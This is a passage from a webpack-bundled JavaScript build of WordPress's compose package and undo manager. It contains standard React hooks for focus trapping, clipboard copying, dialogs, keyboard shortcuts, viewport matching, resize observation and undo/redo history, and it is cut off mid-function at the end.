3134;// ./node_modules/@wordpress/compose/build-module/hooks/use-constrained-tabbing/index.js
3135
3136
3137function useConstrainedTabbing() {
3138 return useRefEffect((node) => {
3139 function onKeyDown(event) {
3140 const { key, shiftKey, target } = event;
3141 if (key !== "Tab") {
3142 return;
3143 }
3144 const action = shiftKey ? "findPrevious" : "findNext";
3145 const nextElement = external_wp_dom_namespaceObject.focus.tabbable[action](
3146 /** @type {HTMLElement} */
3147 target
3148 ) || null;
3149 if (
3150 /** @type {HTMLElement} */
3151 target.contains(nextElement)
3152 ) {
3153 event.preventDefault();
3154 nextElement?.focus();
3155 return;
3156 }
3157 if (node.contains(nextElement)) {
3158 return;
3159 }
3160 const domAction = shiftKey ? "append" : "prepend";
3161 const { ownerDocument } = node;
3162 const trap = ownerDocument.createElement("div");
3163 trap.tabIndex = -1;
3164 node[domAction](trap);
3165 trap.addEventListener("blur", () => node.removeChild(trap));
3166 trap.focus();
3167 }
3168 node.addEventListener("keydown", onKeyDown);
3169 return () => {
3170 node.removeEventListener("keydown", onKeyDown);
3171 };
3172 }, []);
3173}
3174var use_constrained_tabbing_default = useConstrainedTabbing;
3175
3176
3177// EXTERNAL MODULE: ./node_modules/clipboard/dist/clipboard.js
3178var dist_clipboard = __webpack_require__(3758);
3179var clipboard_default = /*#__PURE__*/__webpack_require__.n(dist_clipboard);
3180;// ./node_modules/@wordpress/compose/build-module/hooks/use-copy-on-click/index.js
3181
3182
3183
3184function useCopyOnClick(ref, text, timeout = 4e3) {
3185 external_wp_deprecated_default()("wp.compose.useCopyOnClick", {
3186 since: "5.8",
3187 alternative: "wp.compose.useCopyToClipboard"
3188 });
3189 const clipboardRef = (0,external_wp_element_namespaceObject.useRef)();
3190 const [hasCopied, setHasCopied] = (0,external_wp_element_namespaceObject.useState)(false);
3191 (0,external_wp_element_namespaceObject.useEffect)(() => {
3192 let timeoutId;
3193 if (!ref.current) {
3194 return;
3195 }
3196 clipboardRef.current = new (clipboard_default())(ref.current, {
3197 text: () => typeof text === "function" ? text() : text
3198 });
3199 clipboardRef.current.on("success", ({ clearSelection, trigger }) => {
3200 clearSelection();
3201 if (trigger) {
3202 trigger.focus();
3203 }
3204 if (timeout) {
3205 setHasCopied(true);
3206 clearTimeout(timeoutId);
3207 timeoutId = setTimeout(() => setHasCopied(false), timeout);
3208 }
3209 });
3210 return () => {
3211 if (clipboardRef.current) {
3212 clipboardRef.current.destroy();
3213 }
3214 clearTimeout(timeoutId);
3215 };
3216 }, [text, timeout, setHasCopied]);
3217 return hasCopied;
3218}
3219
3220
3221;// ./node_modules/@wordpress/compose/build-module/hooks/use-copy-to-clipboard/index.js
3222
3223
3224
3225function useUpdatedRef(value) {
3226 const ref = (0,external_wp_element_namespaceObject.useRef)(value);
3227 (0,external_wp_element_namespaceObject.useLayoutEffect)(() => {
3228 ref.current = value;
3229 }, [value]);
3230 return ref;
3231}
3232function useCopyToClipboard(text, onSuccess) {
3233 const textRef = useUpdatedRef(text);
3234 const onSuccessRef = useUpdatedRef(onSuccess);
3235 return useRefEffect((node) => {
3236 const clipboard = new (clipboard_default())(node, {
3237 text() {
3238 return typeof textRef.current === "function" ? textRef.current() : textRef.current || "";
3239 }
3240 });
3241 clipboard.on("success", ({ clearSelection }) => {
3242 clearSelection();
3243 if (onSuccessRef.current) {
3244 onSuccessRef.current();
3245 }
3246 });
3247 return () => {
3248 clipboard.destroy();
3249 };
3250 }, []);
3251}
3252
3253
3254;// external ["wp","keycodes"]
3255const external_wp_keycodes_namespaceObject = window["wp"]["keycodes"];
3256;// ./node_modules/@wordpress/compose/build-module/hooks/use-focus-on-mount/index.js
3257
3258
3259
3260function useFocusOnMount(focusOnMount = "firstElement") {
3261 const focusOnMountRef = (0,external_wp_element_namespaceObject.useRef)(focusOnMount);
3262 const setFocus = (target) => {
3263 target.focus({
3264 // When focusing newly mounted dialogs,
3265 // the position of the popover is often not right on the first render
3266 // This prevents the layout shifts when focusing the dialogs.
3267 preventScroll: true
3268 });
3269 };
3270 const timerIdRef = (0,external_wp_element_namespaceObject.useRef)();
3271 (0,external_wp_element_namespaceObject.useEffect)(() => {
3272 focusOnMountRef.current = focusOnMount;
3273 }, [focusOnMount]);
3274 return useRefEffect((node) => {
3275 if (!node || focusOnMountRef.current === false) {
3276 return;
3277 }
3278 if (node.contains(node.ownerDocument?.activeElement ?? null)) {
3279 return;
3280 }
3281 if (focusOnMountRef.current !== "firstElement") {
3282 setFocus(node);
3283 return;
3284 }
3285 timerIdRef.current = setTimeout(() => {
3286 const firstTabbable = external_wp_dom_namespaceObject.focus.tabbable.find(node)[0];
3287 if (firstTabbable) {
3288 setFocus(firstTabbable);
3289 }
3290 }, 0);
3291 return () => {
3292 if (timerIdRef.current) {
3293 clearTimeout(timerIdRef.current);
3294 }
3295 };
3296 }, []);
3297}
3298
3299
3300;// ./node_modules/@wordpress/compose/build-module/hooks/use-focus-return/index.js
3301
3302let origin = null;
3303function useFocusReturn(onFocusReturn) {
3304 const ref = (0,external_wp_element_namespaceObject.useRef)(null);
3305 const focusedBeforeMount = (0,external_wp_element_namespaceObject.useRef)(null);
3306 const onFocusReturnRef = (0,external_wp_element_namespaceObject.useRef)(onFocusReturn);
3307 (0,external_wp_element_namespaceObject.useEffect)(() => {
3308 onFocusReturnRef.current = onFocusReturn;
3309 }, [onFocusReturn]);
3310 return (0,external_wp_element_namespaceObject.useCallback)((node) => {
3311 if (node) {
3312 ref.current = node;
3313 if (focusedBeforeMount.current) {
3314 return;
3315 }
3316 const activeDocument = node.ownerDocument.activeElement instanceof window.HTMLIFrameElement ? node.ownerDocument.activeElement.contentDocument : node.ownerDocument;
3317 focusedBeforeMount.current = activeDocument?.activeElement ?? null;
3318 } else if (focusedBeforeMount.current) {
3319 const isFocused = ref.current?.contains(
3320 ref.current?.ownerDocument.activeElement
3321 );
3322 if (ref.current?.isConnected && !isFocused) {
3323 origin ??= focusedBeforeMount.current;
3324 return;
3325 }
3326 if (onFocusReturnRef.current) {
3327 onFocusReturnRef.current();
3328 } else {
3329 (!focusedBeforeMount.current.isConnected ? origin : focusedBeforeMount.current)?.focus();
3330 }
3331 origin = null;
3332 }
3333 }, []);
3334}
3335var use_focus_return_default = useFocusReturn;
3336
3337
3338;// ./node_modules/@wordpress/compose/build-module/hooks/use-focus-outside/index.js
3339
3340const INPUT_BUTTON_TYPES = ["button", "submit"];
3341function isFocusNormalizedButton(eventTarget) {
3342 if (!(eventTarget instanceof window.HTMLElement)) {
3343 return false;
3344 }
3345 switch (eventTarget.nodeName) {
3346 case "A":
3347 case "BUTTON":
3348 return true;
3349 case "INPUT":
3350 return INPUT_BUTTON_TYPES.includes(
3351 eventTarget.type
3352 );
3353 }
3354 return false;
3355}
3356function useFocusOutside(onFocusOutside) {
3357 const currentOnFocusOutsideRef = (0,external_wp_element_namespaceObject.useRef)(onFocusOutside);
3358 (0,external_wp_element_namespaceObject.useEffect)(() => {
3359 currentOnFocusOutsideRef.current = onFocusOutside;
3360 }, [onFocusOutside]);
3361 const preventBlurCheckRef = (0,external_wp_element_namespaceObject.useRef)(false);
3362 const blurCheckTimeoutIdRef = (0,external_wp_element_namespaceObject.useRef)();
3363 const cancelBlurCheck = (0,external_wp_element_namespaceObject.useCallback)(() => {
3364 clearTimeout(blurCheckTimeoutIdRef.current);
3365 }, []);
3366 (0,external_wp_element_namespaceObject.useEffect)(() => {
3367 if (!onFocusOutside) {
3368 cancelBlurCheck();
3369 }
3370 }, [onFocusOutside, cancelBlurCheck]);
3371 const normalizeButtonFocus = (0,external_wp_element_namespaceObject.useCallback)((event) => {
3372 const { type, target } = event;
3373 const isInteractionEnd = ["mouseup", "touchend"].includes(type);
3374 if (isInteractionEnd) {
3375 preventBlurCheckRef.current = false;
3376 } else if (isFocusNormalizedButton(target)) {
3377 preventBlurCheckRef.current = true;
3378 }
3379 }, []);
3380 const queueBlurCheck = (0,external_wp_element_namespaceObject.useCallback)((event) => {
3381 event.persist();
3382 if (preventBlurCheckRef.current) {
3383 return;
3384 }
3385 const ignoreForRelatedTarget = event.target.getAttribute(
3386 "data-unstable-ignore-focus-outside-for-relatedtarget"
3387 );
3388 if (ignoreForRelatedTarget && event.relatedTarget?.closest(ignoreForRelatedTarget)) {
3389 return;
3390 }
3391 blurCheckTimeoutIdRef.current = setTimeout(() => {
3392 if (!document.hasFocus()) {
3393 event.preventDefault();
3394 return;
3395 }
3396 if ("function" === typeof currentOnFocusOutsideRef.current) {
3397 currentOnFocusOutsideRef.current(event);
3398 }
3399 }, 0);
3400 }, []);
3401 return {
3402 onFocus: cancelBlurCheck,
3403 onMouseDown: normalizeButtonFocus,
3404 onMouseUp: normalizeButtonFocus,
3405 onTouchStart: normalizeButtonFocus,
3406 onTouchEnd: normalizeButtonFocus,
3407 onBlur: queueBlurCheck
3408 };
3409}
3410
3411
3412;// ./node_modules/@wordpress/compose/build-module/hooks/use-merge-refs/index.js
3413
3414function assignRef(ref, value) {
3415 if (typeof ref === "function") {
3416 ref(value);
3417 } else if (ref && ref.hasOwnProperty("current")) {
3418 ref.current = value;
3419 }
3420}
3421function useMergeRefs(refs) {
3422 const element = (0,external_wp_element_namespaceObject.useRef)();
3423 const isAttachedRef = (0,external_wp_element_namespaceObject.useRef)(false);
3424 const didElementChangeRef = (0,external_wp_element_namespaceObject.useRef)(false);
3425 const previousRefsRef = (0,external_wp_element_namespaceObject.useRef)([]);
3426 const currentRefsRef = (0,external_wp_element_namespaceObject.useRef)(refs);
3427 currentRefsRef.current = refs;
3428 (0,external_wp_element_namespaceObject.useLayoutEffect)(() => {
3429 if (didElementChangeRef.current === false && isAttachedRef.current === true) {
3430 refs.forEach((ref, index) => {
3431 const previousRef = previousRefsRef.current[index];
3432 if (ref !== previousRef) {
3433 assignRef(previousRef, null);
3434 assignRef(ref, element.current);
3435 }
3436 });
3437 }
3438 previousRefsRef.current = refs;
3439 }, refs);
3440 (0,external_wp_element_namespaceObject.useLayoutEffect)(() => {
3441 didElementChangeRef.current = false;
3442 });
3443 return (0,external_wp_element_namespaceObject.useCallback)((value) => {
3444 assignRef(element, value);
3445 didElementChangeRef.current = true;
3446 isAttachedRef.current = value !== null;
3447 const refsToAssign = value ? currentRefsRef.current : previousRefsRef.current;
3448 for (const ref of refsToAssign) {
3449 assignRef(ref, value);
3450 }
3451 }, []);
3452}
3453
3454
3455;// ./node_modules/@wordpress/compose/build-module/hooks/use-dialog/index.js
3456
3457
3458
3459
3460
3461
3462
3463function useDialog(options) {
3464 const currentOptions = (0,external_wp_element_namespaceObject.useRef)();
3465 const { constrainTabbing = options.focusOnMount !== false } = options;
3466 (0,external_wp_element_namespaceObject.useEffect)(() => {
3467 currentOptions.current = options;
3468 }, Object.values(options));
3469 const constrainedTabbingRef = use_constrained_tabbing_default();
3470 const focusOnMountRef = useFocusOnMount(options.focusOnMount);
3471 const focusReturnRef = use_focus_return_default();
3472 const focusOutsideProps = useFocusOutside((event) => {
3473 if (currentOptions.current?.__unstableOnClose) {
3474 currentOptions.current.__unstableOnClose("focus-outside", event);
3475 } else if (currentOptions.current?.onClose) {
3476 currentOptions.current.onClose();
3477 }
3478 });
3479 const closeOnEscapeRef = (0,external_wp_element_namespaceObject.useCallback)((node) => {
3480 if (!node) {
3481 return;
3482 }
3483 node.addEventListener("keydown", (event) => {
3484 if (event.keyCode === external_wp_keycodes_namespaceObject.ESCAPE && !event.defaultPrevented && currentOptions.current?.onClose) {
3485 event.preventDefault();
3486 currentOptions.current.onClose();
3487 }
3488 });
3489 }, []);
3490 return [
3491 useMergeRefs([
3492 constrainTabbing ? constrainedTabbingRef : null,
3493 options.focusOnMount !== false ? focusReturnRef : null,
3494 options.focusOnMount !== false ? focusOnMountRef : null,
3495 closeOnEscapeRef
3496 ]),
3497 {
3498 ...focusOutsideProps,
3499 tabIndex: -1
3500 }
3501 ];
3502}
3503var use_dialog_default = useDialog;
3504
3505
3506;// ./node_modules/@wordpress/compose/build-module/hooks/use-disabled/index.js
3507
3508
3509function useDisabled({
3510 isDisabled: isDisabledProp = false
3511} = {}) {
3512 return useRefEffect(
3513 (node) => {
3514 if (isDisabledProp) {
3515 return;
3516 }
3517 const defaultView = node?.ownerDocument?.defaultView;
3518 if (!defaultView) {
3519 return;
3520 }
3521 const updates = [];
3522 const disable = () => {
3523 node.childNodes.forEach((child) => {
3524 if (!(child instanceof defaultView.HTMLElement)) {
3525 return;
3526 }
3527 if (!child.getAttribute("inert")) {
3528 child.setAttribute("inert", "true");
3529 updates.push(() => {
3530 child.removeAttribute("inert");
3531 });
3532 }
3533 });
3534 };
3535 const debouncedDisable = debounce(disable, 0, {
3536 leading: true
3537 });
3538 disable();
3539 const observer = new window.MutationObserver(debouncedDisable);
3540 observer.observe(node, {
3541 childList: true
3542 });
3543 return () => {
3544 if (observer) {
3545 observer.disconnect();
3546 }
3547 debouncedDisable.cancel();
3548 updates.forEach((update) => update());
3549 };
3550 },
3551 [isDisabledProp]
3552 );
3553}
3554
3555
3556;// ./node_modules/@wordpress/compose/build-module/hooks/use-event/index.js
3557
3558function useEvent(callback) {
3559 const ref = (0,external_wp_element_namespaceObject.useRef)(() => {
3560 throw new Error(
3561 "Callbacks created with `useEvent` cannot be called during rendering."
3562 );
3563 });
3564 (0,external_wp_element_namespaceObject.useInsertionEffect)(() => {
3565 ref.current = callback;
3566 });
3567 return (0,external_wp_element_namespaceObject.useCallback)(
3568 (...args) => ref.current?.(...args),
3569 []
3570 );
3571}
3572
3573
3574;// ./node_modules/@wordpress/compose/build-module/hooks/use-isomorphic-layout-effect/index.js
3575
3576const useIsomorphicLayoutEffect = typeof window !== "undefined" ? external_wp_element_namespaceObject.useLayoutEffect : external_wp_element_namespaceObject.useEffect;
3577var use_isomorphic_layout_effect_default = useIsomorphicLayoutEffect;
3578
3579
3580;// ./node_modules/@wordpress/compose/build-module/hooks/use-dragging/index.js
3581
3582
3583function useDragging({ onDragStart, onDragMove, onDragEnd }) {
3584 const [isDragging, setIsDragging] = (0,external_wp_element_namespaceObject.useState)(false);
3585 const eventsRef = (0,external_wp_element_namespaceObject.useRef)({
3586 onDragStart,
3587 onDragMove,
3588 onDragEnd
3589 });
3590 use_isomorphic_layout_effect_default(() => {
3591 eventsRef.current.onDragStart = onDragStart;
3592 eventsRef.current.onDragMove = onDragMove;
3593 eventsRef.current.onDragEnd = onDragEnd;
3594 }, [onDragStart, onDragMove, onDragEnd]);
3595 const onMouseMove = (0,external_wp_element_namespaceObject.useCallback)(
3596 (event) => eventsRef.current.onDragMove && eventsRef.current.onDragMove(event),
3597 []
3598 );
3599 const endDrag = (0,external_wp_element_namespaceObject.useCallback)((event) => {
3600 if (eventsRef.current.onDragEnd) {
3601 eventsRef.current.onDragEnd(event);
3602 }
3603 document.removeEventListener("mousemove", onMouseMove);
3604 document.removeEventListener("mouseup", endDrag);
3605 setIsDragging(false);
3606 }, []);
3607 const startDrag = (0,external_wp_element_namespaceObject.useCallback)((event) => {
3608 if (eventsRef.current.onDragStart) {
3609 eventsRef.current.onDragStart(event);
3610 }
3611 document.addEventListener("mousemove", onMouseMove);
3612 document.addEventListener("mouseup", endDrag);
3613 setIsDragging(true);
3614 }, []);
3615 (0,external_wp_element_namespaceObject.useEffect)(() => {
3616 return () => {
3617 if (isDragging) {
3618 document.removeEventListener("mousemove", onMouseMove);
3619 document.removeEventListener("mouseup", endDrag);
3620 }
3621 };
3622 }, [isDragging]);
3623 return {
3624 startDrag,
3625 endDrag,
3626 isDragging
3627 };
3628}
3629
3630
3631// EXTERNAL MODULE: ./node_modules/mousetrap/mousetrap.js
3632var mousetrap_mousetrap = __webpack_require__(1933);
3633var mousetrap_default = /*#__PURE__*/__webpack_require__.n(mousetrap_mousetrap);
3634// EXTERNAL MODULE: ./node_modules/mousetrap/plugins/global-bind/mousetrap-global-bind.js
3635var mousetrap_global_bind = __webpack_require__(5760);
3636;// ./node_modules/@wordpress/compose/build-module/hooks/use-keyboard-shortcut/index.js
3637
3638
3639
3640
3641function useKeyboardShortcut(shortcuts, callback, {
3642 bindGlobal = false,
3643 eventName = "keydown",
3644 isDisabled = false,
3645 // This is important for performance considerations.
3646 target
3647} = {}) {
3648 const currentCallbackRef = (0,external_wp_element_namespaceObject.useRef)(callback);
3649 (0,external_wp_element_namespaceObject.useEffect)(() => {
3650 currentCallbackRef.current = callback;
3651 }, [callback]);
3652 (0,external_wp_element_namespaceObject.useEffect)(() => {
3653 if (isDisabled) {
3654 return;
3655 }
3656 const mousetrap = new (mousetrap_default())(
3657 target && target.current ? target.current : (
3658 // We were passing `document` here previously, so to successfully cast it to Element we must cast it first to `unknown`.
3659 // Not sure if this is a mistake but it was the behavior previous to the addition of types so we're just doing what's
3660 // necessary to maintain the existing behavior.
3661 /** @type {Element} */
3662 /** @type {unknown} */
3663 document
3664 )
3665 );
3666 const shortcutsArray = Array.isArray(shortcuts) ? shortcuts : [shortcuts];
3667 shortcutsArray.forEach((shortcut) => {
3668 const keys = shortcut.split("+");
3669 const modifiers = new Set(
3670 keys.filter((value) => value.length > 1)
3671 );
3672 const hasAlt = modifiers.has("alt");
3673 const hasShift = modifiers.has("shift");
3674 if ((0,external_wp_keycodes_namespaceObject.isAppleOS)() && (modifiers.size === 1 && hasAlt || modifiers.size === 2 && hasAlt && hasShift)) {
3675 throw new Error(
3676 `Cannot bind ${shortcut}. Alt and Shift+Alt modifiers are reserved for character input.`
3677 );
3678 }
3679 const bindFn = bindGlobal ? "bindGlobal" : "bind";
3680 mousetrap[bindFn](
3681 shortcut,
3682 (...args) => (
3683 /* eslint-enable jsdoc/valid-types */
3684 currentCallbackRef.current(...args)
3685 ),
3686 eventName
3687 );
3688 });
3689 return () => {
3690 mousetrap.reset();
3691 };
3692 }, [shortcuts, bindGlobal, eventName, target, isDisabled]);
3693}
3694var use_keyboard_shortcut_default = useKeyboardShortcut;
3695
3696
3697;// ./node_modules/@wordpress/compose/build-module/hooks/use-media-query/index.js
3698
3699const matchMediaCache = /* @__PURE__ */ new Map();
3700function getMediaQueryList(query) {
3701 if (!query) {
3702 return null;
3703 }
3704 let match = matchMediaCache.get(query);
3705 if (match) {
3706 return match;
3707 }
3708 if (typeof window !== "undefined" && typeof window.matchMedia === "function") {
3709 match = window.matchMedia(query);
3710 matchMediaCache.set(query, match);
3711 return match;
3712 }
3713 return null;
3714}
3715function useMediaQuery(query) {
3716 const source = (0,external_wp_element_namespaceObject.useMemo)(() => {
3717 const mediaQueryList = getMediaQueryList(query);
3718 return {
3719 /** @type {(onStoreChange: () => void) => () => void} */
3720 subscribe(onStoreChange) {
3721 if (!mediaQueryList) {
3722 return () => {
3723 };
3724 }
3725 mediaQueryList.addEventListener?.("change", onStoreChange);
3726 return () => {
3727 mediaQueryList.removeEventListener?.(
3728 "change",
3729 onStoreChange
3730 );
3731 };
3732 },
3733 getValue() {
3734 return mediaQueryList?.matches ?? false;
3735 }
3736 };
3737 }, [query]);
3738 return (0,external_wp_element_namespaceObject.useSyncExternalStore)(
3739 source.subscribe,
3740 source.getValue,
3741 () => false
3742 );
3743}
3744
3745
3746;// ./node_modules/@wordpress/compose/build-module/hooks/use-previous/index.js
3747
3748function usePrevious(value) {
3749 const ref = (0,external_wp_element_namespaceObject.useRef)();
3750 (0,external_wp_element_namespaceObject.useEffect)(() => {
3751 ref.current = value;
3752 }, [value]);
3753 return ref.current;
3754}
3755
3756
3757;// ./node_modules/@wordpress/compose/build-module/hooks/use-reduced-motion/index.js
3758
3759const useReducedMotion = () => useMediaQuery("(prefers-reduced-motion: reduce)");
3760var use_reduced_motion_default = useReducedMotion;
3761
3762
3763;// ./node_modules/@wordpress/undo-manager/build-module/index.js
3764
3765function mergeHistoryChanges(changes1, changes2) {
3766 const newChanges = { ...changes1 };
3767 Object.entries(changes2).forEach(([key, value]) => {
3768 if (newChanges[key]) {
3769 newChanges[key] = { ...newChanges[key], to: value.to };
3770 } else {
3771 newChanges[key] = value;
3772 }
3773 });
3774 return newChanges;
3775}
3776const addHistoryChangesIntoRecord = (record, changes) => {
3777 const existingChangesIndex = record?.findIndex(
3778 ({ id: recordIdentifier }) => {
3779 return typeof recordIdentifier === "string" ? recordIdentifier === changes.id : external_wp_isShallowEqual_default()(recordIdentifier, changes.id);
3780 }
3781 );
3782 const nextRecord = [...record];
3783 if (existingChangesIndex !== -1) {
3784 nextRecord[existingChangesIndex] = {
3785 id: changes.id,
3786 changes: mergeHistoryChanges(
3787 nextRecord[existingChangesIndex].changes,
3788 changes.changes
3789 )
3790 };
3791 } else {
3792 nextRecord.push(changes);
3793 }
3794 return nextRecord;
3795};
3796function createUndoManager() {
3797 let history = [];
3798 let stagedRecord = [];
3799 let offset = 0;
3800 const dropPendingRedos = () => {
3801 history = history.slice(0, offset || void 0);
3802 offset = 0;
3803 };
3804 const appendStagedRecordToLatestHistoryRecord = () => {
3805 const index = history.length === 0 ? 0 : history.length - 1;
3806 let latestRecord = history[index] ?? [];
3807 stagedRecord.forEach((changes) => {
3808 latestRecord = addHistoryChangesIntoRecord(latestRecord, changes);
3809 });
3810 stagedRecord = [];
3811 history[index] = latestRecord;
3812 };
3813 const isRecordEmpty = (record) => {
3814 const filteredRecord = record.filter(({ changes }) => {
3815 return Object.values(changes).some(
3816 ({ from, to }) => typeof from !== "function" && typeof to !== "function" && !external_wp_isShallowEqual_default()(from, to)
3817 );
3818 });
3819 return !filteredRecord.length;
3820 };
3821 return {
3822 addRecord(record, isStaged = false) {
3823 const isEmpty = !record || isRecordEmpty(record);
3824 if (isStaged) {
3825 if (isEmpty) {
3826 return;
3827 }
3828 record.forEach((changes) => {
3829 stagedRecord = addHistoryChangesIntoRecord(
3830 stagedRecord,
3831 changes
3832 );
3833 });
3834 } else {
3835 dropPendingRedos();
3836 if (stagedRecord.length) {
3837 appendStagedRecordToLatestHistoryRecord();
3838 }
3839 if (isEmpty) {
3840 return;
3841 }
3842 history.push(record);
3843 }
3844 },
3845 undo() {
3846 if (stagedRecord.length) {
3847 dropPendingRedos();
3848 appendStagedRecordToLatestHistoryRecord();
3849 }
3850 const undoRecord = history[history.length - 1 + offset];
3851 if (!undoRecord) {
3852 return;
3853 }
3854 offset -= 1;
3855 return undoRecord;
3856 },
3857 redo() {
3858 const redoRecord = history[history.length + offset];
3859 if (!redoRecord) {
3860 return;
3861 }
3862 offset += 1;
3863 return redoRecord;
3864 },
3865 hasUndo() {
3866 return !!history[history.length - 1 + offset];
3867 },
3868 hasRedo() {
3869 return !!history[history.length + offset];
3870 }
3871 };
3872}
3873
3874
3875;// ./node_modules/@wordpress/compose/build-module/hooks/use-state-with-history/index.js
3876
3877
3878function undoRedoReducer(state, action) {
3879 switch (action.type) {
3880 case "UNDO": {
3881 const undoRecord = state.manager.undo();
3882 if (undoRecord) {
3883 return {
3884 ...state,
3885 value: undoRecord[0].changes.prop.from
3886 };
3887 }
3888 return state;
3889 }
3890 case "REDO": {
3891 const redoRecord = state.manager.redo();
3892 if (redoRecord) {
3893 return {
3894 ...state,
3895 value: redoRecord[0].changes.prop.to
3896 };
3897 }
3898 return state;
3899 }
3900 case "RECORD": {
3901 state.manager.addRecord(
3902 [
3903 {
3904 id: "object",
3905 changes: {
3906 prop: { from: state.value, to: action.value }
3907 }
3908 }
3909 ],
3910 action.isStaged
3911 );
3912 return {
3913 ...state,
3914 value: action.value
3915 };
3916 }
3917 }
3918 return state;
3919}
3920function initReducer(value) {
3921 return {
3922 manager: createUndoManager(),
3923 value
3924 };
3925}
3926function useStateWithHistory(initialValue) {
3927 const [state, dispatch] = (0,external_wp_element_namespaceObject.useReducer)(
3928 undoRedoReducer,
3929 initialValue,
3930 initReducer
3931 );
3932 return {
3933 value: state.value,
3934 setValue: (0,external_wp_element_namespaceObject.useCallback)((newValue, isStaged) => {
3935 dispatch({
3936 type: "RECORD",
3937 value: newValue,
3938 isStaged
3939 });
3940 }, []),
3941 hasUndo: state.manager.hasUndo(),
3942 hasRedo: state.manager.hasRedo(),
3943 undo: (0,external_wp_element_namespaceObject.useCallback)(() => {
3944 dispatch({ type: "UNDO" });
3945 }, []),
3946 redo: (0,external_wp_element_namespaceObject.useCallback)(() => {
3947 dispatch({ type: "REDO" });
3948 }, [])
3949 };
3950}
3951
3952
3953;// ./node_modules/@wordpress/compose/build-module/hooks/use-viewport-match/index.js
3954
3955
3956const BREAKPOINTS = {
3957 xhuge: 1920,
3958 huge: 1440,
3959 wide: 1280,
3960 xlarge: 1080,
3961 large: 960,
3962 medium: 782,
3963 small: 600,
3964 mobile: 480
3965};
3966const CONDITIONS = {
3967 ">=": "min-width",
3968 "<": "max-width"
3969};
3970const OPERATOR_EVALUATORS = {
3971 ">=": (breakpointValue, width) => width >= breakpointValue,
3972 "<": (breakpointValue, width) => width < breakpointValue
3973};
3974const ViewportMatchWidthContext = (0,external_wp_element_namespaceObject.createContext)(
3975 /** @type {null | number} */
3976 null
3977);
3978ViewportMatchWidthContext.displayName = "ViewportMatchWidthContext";
3979const useViewportMatch = (breakpoint, operator = ">=") => {
3980 const simulatedWidth = (0,external_wp_element_namespaceObject.useContext)(ViewportMatchWidthContext);
3981 const mediaQuery = !simulatedWidth && `(${CONDITIONS[operator]}: ${BREAKPOINTS[breakpoint]}px)`;
3982 const mediaQueryResult = useMediaQuery(mediaQuery || void 0);
3983 if (simulatedWidth) {
3984 return OPERATOR_EVALUATORS[operator](
3985 BREAKPOINTS[breakpoint],
3986 simulatedWidth
3987 );
3988 }
3989 return mediaQueryResult;
3990};
3991useViewportMatch.__experimentalWidthProvider = ViewportMatchWidthContext.Provider;
3992var use_viewport_match_default = useViewportMatch;
3993
3994
3995;// ./node_modules/@wordpress/compose/build-module/hooks/use-resize-observer/use-resize-observer.js
3996
3997
3998function useResizeObserver(callback, resizeObserverOptions = {}) {
3999 const callbackEvent = useEvent(callback);
4000 const observedElementRef = (0,external_wp_element_namespaceObject.useRef)();
4001 const resizeObserverRef = (0,external_wp_element_namespaceObject.useRef)();
4002 return useEvent((element) => {
4003 if (element === observedElementRef.current) {
4004 return;
4005 }
4006 resizeObserverRef.current ??= new ResizeObserver(callbackEvent);
4007 const { current: resizeObserver } = resizeObserverRef;
4008 if (observedElementRef.current) {
4009 resizeObserver.unobserve(observedElementRef.current);
4010 }
4011 observedElementRef.current = element;
4012 if (element) {
4013 resizeObserver.observe(element, resizeObserverOptions);
4014 }
4015 });
4016}
4017
4018
4019;// ./node_modules/@wordpress/compose/build-module/hooks/use-resize-observer/legacy/index.js
4020
4021
4022
4023const extractSize = (entry) => {
4024 let entrySize;
4025 if (!entry.contentBoxSize) {
4026 entrySize = [entry.contentRect.width, entry.contentRect.height];
4027 } else if (entry.contentBoxSize[0]) {
4028 const contentBoxSize = entry.contentBoxSize[0];
4029 entrySize = [contentBoxSize.inlineSize, contentBoxSize.blockSize];
4030 } else {
4031 const contentBoxSize = entry.contentBoxSize;
4032 entrySize = [contentBoxSize.inlineSize, contentBoxSize.blockSize];
4033 }
4034 const [width, height] = entrySize.map((d) => Math.round(d));
4035 return { width, height };
4036};
4037const RESIZE_ELEMENT_STYLES = {
4038 position: "absolute",
4039 top: 0,
4040 left: 0,
4041 right: 0,
4042 bottom: 0,
4043 pointerEvents: "none",
4044 opacity: 0,
4045 overflow: "hidden",
4046 zIndex: -1
4047};
4048function ResizeElement({ onResize }) {
4049 const resizeElementRef = useResizeObserver((entries) => {
4050 const newSize = extractSize(entries.at(-1));
4051 onResize(newSize);
4052 });
4053 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
4054 "div",
4055 {
4056 ref: resizeElementRef,
4057 style: RESIZE_ELEMENT_STYLES,
4058 "aria-hidden": "true"
4059 }
4060 );
4061}
4062function sizeEquals(a, b) {
4063 return a.width === b.width && a.height === b.height;
4064}
4065const NULL_SIZE = { width: null, height: null };
4066function useLegacyResizeObserver() {
4067 const [size, setSize] = (0,external_wp_element_namespaceObject.useState)(NULL_SIZE);
4068 const previousSizeRef = (0,external_wp_element_namespaceObject.useRef)(NULL_SIZE);
4069 const handleResize = (0,external_wp_element_namespaceObject.useCallback)((newSize) => {
4070 if (!sizeEquals(previousSizeRef.current, newSize)) {
4071 previousSizeRef.current = newSize;
4072 setSize(newSize);
4073 }
4074 }, []);
4075 const resizeElement = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ResizeElement, { onResize: handleResize });
4076 return [resizeElement, size];
4077}
4078
4079
4080;// ./node_modules/@wordpress/compose/build-module/hooks/use-resize-observer/index.js
4081
4082
4083function use_resize_observer_useResizeObserver(callback, options = {}) {
4084 return callback ? useResizeObserver(callback, options) : useLegacyResizeObserver();
4085}
4086
4087
4088;// external ["wp","priorityQueue"]
4089const external_wp_priorityQueue_namespaceObject = window["wp"]["priorityQueue"];
4090;// ./node_modules/@wordpress/compose/build-module/hooks/use-async-list/index.js
4091
4092
4093function getFirstItemsPresentInState(list, state) {
4094 const firstItems = [];
4095 for (let i = 0; i < list.length; i++) {
4096 const item = list[i];
4097 if (!state.includes(item)) {
4098 break;
4099 }
4100 firstItems.push(item);
4101 }
4102 return firstItems;
4103}
4104function useAsyncList(list, config = { step: 1 }) {
4105 const { step = 1 } = config;
4106 const [current, setCurrent] = (0,external_wp_element_namespaceObject.useState)([]);
4107 (0,external_wp_element_namespaceObject.useEffect)(() => {
4108 let firstItems = getFirstItemsPresentInState(list, current);
4109 if (firstItems.length < step) {
4110 firstItems = firstItems.concat(
4111 list.slice(firstItems.length, step)
4112 );
4113 }
4114 setCurrent(firstItems);
4115 const asyncQueue = (0,external_wp_priorityQueue_namespaceObject.createQueue)();
4116 for (let i = firstItems.length; i < list.length; i += step) {
4117 asyncQueue.add({}, () => {
